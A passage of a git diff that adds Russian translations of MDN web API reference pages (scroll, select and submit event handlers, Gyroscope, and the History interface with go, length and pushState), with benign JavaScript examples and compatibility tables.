+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onscroll/index.html b/files/ru/web/api/globaleventhandlers/onscroll/index.html
new file mode 100644
index 0000000000..a62384b132
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onscroll/index.html
@@ -0,0 +1,80 @@
+---
+title: GlobalEventHandlers.onscroll
+slug: Web/API/GlobalEventHandlers/onscroll
+translation_of: Web/API/GlobalEventHandlers/onscroll
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Обработчик для события скролла.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">element.onscroll = <var>functionReference</var>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p><code>functionReference</code> is a reference to a function to be executed when <code>element</code> is scrolled.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;style&gt;
+  #container {
+    position: absolute;
+    height: auto;
+    top: 0;
+    bottom: 0;
+    width: auto;
+    left: 0;
+    right: 0;
+    overflow: auto;
+  }
+
+  #foo {
+    height:1000px;
+    width:1000px;
+    background-color: #777;
+    display: block;
+  }
+
+  &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div id="container"&gt;
+      &lt;div id="foo"&gt;&lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;script type="text/javascript"&gt;
+      document.getElementById('container').onscroll = function() {
+        console.log("scrolling");
+      };
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The <code>scroll</code> event is raised when the user scrolls the contents of an element. <code>Element.onscroll</code> is equivalent to <code>element.addEventListener("scroll" ... )</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/globaleventhandlers/onselect/index.html b/files/ru/web/api/globaleventhandlers/onselect/index.html
new file mode 100644
index 0000000000..0244069e4d
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onselect/index.html
@@ -0,0 +1,72 @@
+---
+title: GlobalEventHandlers.onselect
+slug: Web/API/GlobalEventHandlers/onselect
+translation_of: Web/API/GlobalEventHandlers/onselect
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>Обработчик события select окна браузера.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onselect = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> - функция</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;onselect test&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+.text1 { border: 2px solid red; }
+&lt;/style&gt;
+
+&lt;script type="text/javascript"&gt;
+
+window.onselect = selectText;
+
+function selectText()
+{
+ alert("select event detected!");
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;textarea class="text1" cols="30" rows="3"&gt;
+Highlight some of this text
+with the mouse pointer
+to fire the onselect event.
+&lt;/textarea&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Замечание</h2>
+
+<p>Событие select происходит только, когда текст выделяют в поле input с type='text' или в поле textarea. Событие происходит только после того, как текст будет выделен.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onselect','onselect')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/globaleventhandlers/onsubmit/index.html b/files/ru/web/api/globaleventhandlers/onsubmit/index.html
new file mode 100644
index 0000000000..35b3a7d1f0
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onsubmit/index.html
@@ -0,0 +1,65 @@
+---
+title: GlobalEventHandlers.onsubmit
+slug: Web/API/GlobalEventHandlers/onsubmit
+translation_of: Web/API/GlobalEventHandlers/onsubmit
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Обработчик события отправки формы</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval">window.onsubmit = <em>funcRef</em>;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>funcRef</code> – ссылка на функцию.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+&lt;/script&gt;
+
+&lt;body onload="reg();"&gt;
+&lt;form&gt;
+  &lt;input type="submit" value="submit" /&gt;
+&lt;/form&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Событие <code>submit</code> возникает, когда пользователь кликает на кнопку "Отправить" в форме (<code>&lt;input type="submit"/&gt;</code>)</p>
+
+<p>Событие <code>submit</code> не возникает, когда пользователь вызывает функцию <code>form.submit()</code> напрямую</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/gyroscope/index.html b/files/ru/web/api/gyroscope/index.html
new file mode 100644
index 0000000000..acb3658d59
--- /dev/null
+++ b/files/ru/web/api/gyroscope/index.html
@@ -0,0 +1,71 @@
+---
+title: Gyroscope
+slug: Web/API/Gyroscope
+translation_of: Web/API/Gyroscope
+---
+<div>{{APIRef("Gyroscope")}}</div>
+
+<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интерфейс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a> дает возможность считать позицию устройства по всем трем осям.</span></p>
+
+<p>Для использования того сенсора пользователю нужно предоставить доступ устройства к <code>'gyroscope'</code> через {{domxref('Permissions')}} API.</p>
+
+<p>If a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. This is not something that would ever be shown to a user. See {{httpheader('Feature-Policy')}} for implementation instructions.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Gyroscope.Gyroscope()")}}</dt>
+ <dd>Создание нового <code>Gyroscope</code> объекта.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref('Gyroscope.x')}} {{readonlyinline}}</dt>
+ <dd>Возвращает угловое отклонение устройства по оси X.</dd>
+ <dt>{{domxref('Gyroscope.y')}} {{readonlyinline}}</dt>
+ <dd>Возвращает угловое отклонение устройства по оси Y.</dd>
+ <dt>{{domxref('Gyroscope.z')}} {{readonlyinline}}</dt>
+ <dd>Возвращает угловое отклонение устройства по оси Z.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Гироскоп обычно использует {{domxref('Sensor.onreading')}} событие для вызова callback-функции. В примере ниже функция вызывается 6 раз в секуунду.</p>
+
+<pre class="brush: js">let gyroscope = new Gyroscope({frequency: 60});
+
+gyroscope.addEventListener('reading', e =&gt; {
+  console.log("Angular velocity along the X-axis " + gyroscope.x);
+  console.log("Angular velocity along the Y-axis " + gyroscope.y);
+  console.log("Angular velocity along the Z-axis " + gyroscope.z);
+});
+gyroscope.start();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Generic Sensor')}}</td>
+   <td>{{Spec2('Generic Sensor')}}</td>
+   <td>Defines sensors in general.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gyroscope','#gyroscope-interface','Gyroscope')}}</td>
+   <td>{{Spec2('Gyroscope')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Gyroscope")}}</p>
diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html
new file mode 100644
index 0000000000..6612072c73
--- /dev/null
+++ b/files/ru/web/api/history/go/index.html
@@ -0,0 +1,88 @@
+---
+title: History.go()
+slug: Web/API/History/go
+tags:
+  - API
+  - History API
+  - История
+  - Определение
+  - метод
+translation_of: Web/API/History/go
+---
+<div>{{APIRef("History API")}}</div>
+
+<p>Метод <strong><code>History.go()</code></strong> выполняет переход на определенную страницу в истории текущей сессии. С его помощью можно перемещаться как вперед, так и назад, в зависимости от значения параметра.</p>
+
+<p>Данный метод является {{glossary("asynchronous", "асинхронным")}}. Добавьте обработчик для события {{event("popstate")}}, чтобы определить, когда переход закончен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">history.go([<em>delta</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>delta</code> {{optional_inline}}</dt>
+ <dd>Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперед. Например, <code>history.go(2)</code> перемещает вперед на 2 страницы, а <code>history.go(-2)</code> перемещает на 2 страницы назад. Если метод вызван без параметра или же <code>delta</code> равна 0, результат выполнения будет такой же, как у <code>location.reload()</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Перемещение на 1 страницу назад (аналог вызова {{domxref("History.back", "back()")}}):</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>Перемещение на страницу вперед, как {{domxref("History.forward", "forward()")}}:</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>Перемещение на 2 страницы вперед:</p>
+
+<pre class="brush: js notranslate">history.go(2);</pre>
+
+<p>Перемещение на 2 страницы назад:</p>
+
+<pre class="brush: js notranslate">history.go(-2);</pre>
+
+<p>Также, оба этих вызова перезагрузят страницу:</p>
+
+<pre class="brush: js notranslate">history.go();
+history.go(0);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Не отличается от {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.History.go")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+ <li>{{DOMxRef("History.back","back()")}}</li>
+ <li>{{DOMxRef("History.forward","forward()")}}</li>
+ <li>{{event("popstate")}} event</li>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history/index.html b/files/ru/web/api/history/index.html
new file mode 100644
index 0000000000..dd1a3fe80c
--- /dev/null
+++ b/files/ru/web/api/history/index.html
@@ -0,0 +1,135 @@
+---
+title: History
+slug: Web/API/History
+translation_of: Web/API/History
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><em><strong>History</strong> интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещенных страницах в пределах вкладки или фрейма загруженного внутри страницы. </em></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>History интерфейс не наследует никакие родительские свойства.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает целочисленное значение типа Integer, которое характерезует собой количество записей в истории сессии, включая текущую загруженную страницу. Для примера, история новой вкладки с загруженной страницей равна 1.</dd>
+ <dt>{{domxref("History.current")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий собой активный URL элемент в истории сесcии. Это свойство никогда не было доступно для веб-контента и более не поддерживается никакими браузерами. Используйте {{domxref ("location.href")}} вместо него.</dd>
+ <dt>{{domxref("History.next")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий собой следующий URL элемент в истории сессии. Это свойство никогда не было доступно для веб-контента и более не поддерживается другими браузерами.</dd>
+ <dt>{{domxref("History.previous")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий собой предыдущий URL элемент в истории сессии. Это свойство никогда не было доступно для веб-контента и более не поддерживается другими браузерами.</dd>
+ <dt>{{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает какое-либо значение, представляющее собой состояние в вершине истории стека. Это способ посмотреть на состояние без ожидания {{event("popstate")}} события.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>History интерфейс не наследует никаких родительских методов.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back()")}}</dt>
+ <dd>Делает вызов предыдущей страницы из истории, если она существует. Эквивалент метода <code>history.go(-1)</code>.
+ <div class="note"><strong>Примечание</strong>: Вызов этого метода, чтобы вернуться к первой странице в истории сессии не имеет никакого эффекта и не вызывает исключений.</div>
+ </dd>
+ <dt>{{domxref("History.forward()")}}</dt>
+ <dd>Переход к следующей странице в истории сессии, то же самое действие, как и при нажатии пользователем кнопки Forward в браузере. Эквивалентно history.go(1).
+ <div class="note"><strong>Примечание:</strong> Вызов этого метода, чтобы перейти  к последней странице в истории сессии не имеет никакого эффекта и не вызывает исключений.</div>
+ </dd>
+ <dt>{{domxref("History.go()")}}</dt>
+ <dd>
+ <p>Загружает страницу из истории сессии, определяя ее положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда <em>integerDelta</em> выходит за предел (например, -1, когда нет ранее посещенных страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">который поддерживает строки URL в качестве аргумента</a>).</p>
+ </dd>
+ <dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Помещает полученные данные в стек истории сессии с определенным заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>.
+ <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Обновляет последнюю запись в стеке истории содержащий определенные данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>.
+ <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("window.history")}} свойство, возвращающее историю текущей сессии.</li>
+</ul>
diff --git a/files/ru/web/api/history/length/index.html b/files/ru/web/api/history/length/index.html
new file mode 100644
index 0000000000..5dc9ef4fb2
--- /dev/null
+++ b/files/ru/web/api/history/length/index.html
@@ -0,0 +1,105 @@
+---
+title: History.length
+slug: Web/API/History/length
+tags:
+  - API
+  - HTML
+  - History API
+  - Read-only
+  - WebAPI
+  - Свойство
+  - Справка
+translation_of: Web/API/History/length
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>History</strong></code><strong><code>.length —</code></strong><code> это свойство объекта History, доступное только для чтения, которое возвращает число (Integer), обозначающее количество элементов в истории сессии, в том числе для загруженной страницы. Например, если открыть страницу в новой вкладке это свойство вернёт 1.</code></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>length</em> = <em>history</em>.length;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var result = window.history.length; // Вернёт размер истории текущей сессии</pre>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений в {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+</ul>
diff --git a/files/ru/web/api/history/pushstate/index.html b/files/ru/web/api/history/pushstate/index.html
new file mode 100644
index 0000000000..6921944187
--- /dev/null
+++ b/files/ru/web/api/history/pushstate/index.html
@@ -0,0 +1,146 @@
+---
+title: History.pushState()
+slug: Web/API/History/pushState
+tags:
+  - API
+  - HTML DOM
+  - Web
+  - метод
+translation_of: Web/API/History/pushState
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>В <a href="/en-US/docs/Web/HTML">HTML</a> документе метод <strong><code>history.pushState()</code></strong> добавляет новое состояние в историю браузера</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="notranslate">history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><strong>state object</strong> </p>
+
+<dl>
+ <dd>Объект состояния – это JavaScript-объект, связанный с новой записью в истории, созданной <code>pushState()</code>. Всякий раз, когда пользователь переходит к новому состоянию, происходит событие <code>popstate</code>, а свойство <code>state</code> этого события содержит копию объекта состояния с записями истории.</dd>
+ <dd>Объект состояния может быть чем угодно, что может быть сериализовано. Поскольку Firefox сохраняет объекты состояния на диске пользователя, чтобы их можно было восстановить после перезапуска браузера, мы накладываем ограничение в 640 тысяч символов на сериализованное представление объекта состояния. Если вы передаёте объект состояния, чьё сериализованное представление больше этого значения, метод <code>pushState()</code> выдаст исключение. Если вам нужно хранилище большего размера, следует рассмотреть использование <code>sessionStorage</code> и/или <code>localStorage</code>.</dd>
+</dl>
+
+<dl>
+ <dt><strong>title</strong></dt>
+ <dd>Заголовок - <a href="https://github.com/whatwg/html/issues/2174">все браузеры, кроме Safari, на данный момент игнорируют этот параметр</a>, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояния, в которое переходите.</dd>
+</dl>
+
+<dl>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>Через этот параметр передаётся URL-адрес новой записи в истории. Обратите внимание, что браузер не будет пытаться загрузить данный URL сразу после вызова <code>pushState()</code>, но может попытаться сделать это позже, например, после того, как пользователь перезапустит браузер. Новый URL-адрес не обязан быть абсолютным; если он относительный, то определяется относительно текущего URL. Новый URL должен вести на тот же домен, протокол и порт, иначе <code>pushState()</code> выдаст исключение. Данный параметр не является обязательным; если он не указан, будет использоваться URL текущего документа.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Вызов <code>pushState()</code> в некоторой степени похож на установку <code>window.location = "#foo"</code>, поскольку они оба также создают и активируют ещё одну запись в истории, связанную с текущим документом.</p>
+
+<p>Но у <code>pushState()</code> есть несколько преимуществ:</p>
+
+<ul>
+ <li>Новый URL может быть любым в пределах того же домена, порта и протокола, что и текущий адрес. Тогда как настройка <code>window.location</code> оставляет вас на том же {{ domxref("document") }} лишь в том случае, если вы меняете только хэш</li>
+ <li>Менять URL не обязательно. Тогда как настройка <code>window.location = "#foo";</code> создаёт новую запись в истории, только если текущий хеш не <code>#foo</code></li>
+ <li>С новой записью в истории можно связать любые данные. В подходе, основанном на хеше, все соответствующие данные нужно кодировать в короткую строку</li>
+ <li>Если заголовок <code>title</code> впоследствии используется браузерами, эти данные могут быть использованы (независимо от, скажем, хеша).</li>
+</ul>
+
+<p>Обратите внимание, что <code>pushState()</code> никогда не вызывает событие <code>hashchange</code>, даже если новый URL отличается от старого только хешем.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Создание новой записи истории браузера, задавая <em>state</em>, <em>title</em>, и <em>url</em>.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="notranslate">const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменён в {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
